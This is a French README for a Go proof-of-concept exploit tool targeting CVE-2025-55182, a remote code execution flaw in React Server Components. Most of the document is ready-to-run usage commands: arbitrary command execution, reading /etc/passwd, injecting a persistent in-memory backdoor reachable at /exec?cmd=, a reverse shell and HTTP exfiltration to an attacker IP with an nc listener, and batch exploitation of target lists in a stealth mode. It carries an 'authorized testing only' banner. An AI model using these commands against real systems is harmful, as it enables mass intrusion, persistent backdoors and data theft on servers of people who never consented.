Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés.
⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT ⚠️
CVE-2025-55182 (également connue sous le nom de CVE-2025-66478) est une vulnérabilité critique d'exécution de code à distance (RCE) dans les React Server Components (protocole Flight). Cet outil est une implémentation Go du PoC pour la recherche en sécurité et les tests de pénétration autorisés.
Versions affectées :
L'exploit exploite une pollution de prototype dans la désérialisation du protocole Flight :
$@ pour obtenir une référence de ChunkChunk.prototype.then comme propriété then de l'objet racineRESOLVED_MODEL pour appeler initializeModelChunk avec un faux chunk contrôléresponse._formData.get avec la charge utile de l'attaquantresponse._formData.get sur le constructeur Function pour une exécution de code arbitraire/exec?cmd=Téléchargez la dernière version pour votre plateforme depuis GitHub Releases.
Binaires disponibles :
# Cloner le dépôt
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Compiler pour la plateforme actuelle
go build -o cve-2025-55182 .
# Ou compiler pour toutes les plateformes
chmod +x build.sh
./build.sh
Après avoir exécuté ./build.sh, les binaires seront disponibles dans le répertoire build/ pour toutes les plateformes supportées.
# Vérifier une cible unique pour la vulnérabilité
./cve-2025-55182 -u http://cible:3000 --check
# Détecter la version de Next.js
./cve-2025-55182 -u http://cible:3000 --version-check
# Exécuter une commande avec sortie
./cve-2025-55182 -u http://cible:3000 -c "id"
./cve-2025-55182 -u http://cible:3000 -c "cat /etc/passwd"
# Injecter un shell mémoire (vérifie d'abord s'il est déjà installé)
./cve-2025-55182 -u http://cible:3000 --memshell
# Tester si le shell mémoire est actif
./cve-2025-55182 -u http://cible:3000 --test-shell
# Exécuter une commande via le shell mémoire
./cve-2025-55182 -u http://cible:3000 --shell-exec "cat /etc/passwd"
# Après l'injection, vous pouvez aussi utiliser curl directement :
curl 'http://cible:3000/exec?cmd=id'
curl 'http://cible:3000/exec?cmd=whoami'
# Ajouter des en-têtes personnalisés (peut être utilisé plusieurs fois)
./cve-2025-55182 -u http://cible:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://cible:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Ignorer la vérification du certificat SSL (pour les certificats auto-signés)
./cve-2025-55182 -u https://cible:3000 --check -k
./cve-2025-55182 -u https://cible:3000 --check --insecure
# Combiner avec d'autres options
./cve-2025-55182 -u https://cible:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 avec authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 sans authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://cible:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://cible:3000 --check --proxy http://127.0.0.1:8080
# Vérification par lots depuis un fichier
./cve-2025-55182 --urls cibles.txt --check
# Analyse par lots avec sortie JSON
./cve-2025-55182 --urls cibles.txt --check --json -o resultats.json
# Analyse par lots avec plusieurs threads et mode furtif
./cve-2025-55182 -f cibles.txt --check --threads 20 --stealth crawler --delay 2s
# Sauvegarder les cibles vulnérables dans un fichier
./cve-2025-55182 -f cibles.txt --check -o vulnerable.txt
# Injection de shell mémoire par lots
./cve-2025-55182 --urls cibles.txt --memshell --workers 10
# Exécution de commande par lots
./cve-2025-55182 --urls cibles.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, fonctionne sur Alpine)
./cve-2025-55182 -u http://cible:3000 --revshell 10.0.0.1 4444
# Démarrer d'abord un écouteur sur la machine attaquante :
nc -lvnp 4444
# Exfiltrer la sortie de commande via HTTP POST
./cve-2025-55182 -u http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Démarrer l'écouteur : nc -lvnp 4444
| Option | Description |
|---|---|
-u, --url | URL cible (ex. http://localhost:3000) |
-f, --file | Fichier contenant les URL cibles (une par ligne) |
--urls | Alias pour -f/--file |
-o, --output | Fichier de sortie pour les cibles vulnérables |
--json | Afficher les résultats au format JSON |
-c, --command | Commande à exécuter (avec sortie) |
--check | Vérifier la vulnérabilité |
--version-check | Détecter la version de Next.js |
--proxy | URL du proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | En-tête personnalisé (peut être utilisé plusieurs fois) |
-k, --insecure | Ignorer la vérification du certificat SSL/TLS |
--stealth | Mode furtif : browser, crawler, security (défaut : browser) |
--delay | Délai entre les requêtes (ex. 2s, 500ms) |
--variants | Utiliser plusieurs variantes de payload pour une vérification approfondie |
--memshell | Injecter un shell mémoire (backdoor persistante) |
--test-shell | Tester si le shell mémoire est actif |
--shell-exec | Exécuter une commande via le shell mémoire |
--revshell IP PORT | Établir un reverse shell |
--exfil CMD IP PORT | Exécuter une commande et envoyer la sortie en POST |
-t, --timeout | Délai d'attente de la requête en secondes (défaut : 15) |
--threads | Nombre de threads simultanés (défaut : 10) |
--workers | Alias pour --threads |
--nocolor | Désactiver la sortie colorée (pour Windows/pipes) |
-h, --help | Afficher le message d'aide |
-v, --version | Afficher la version |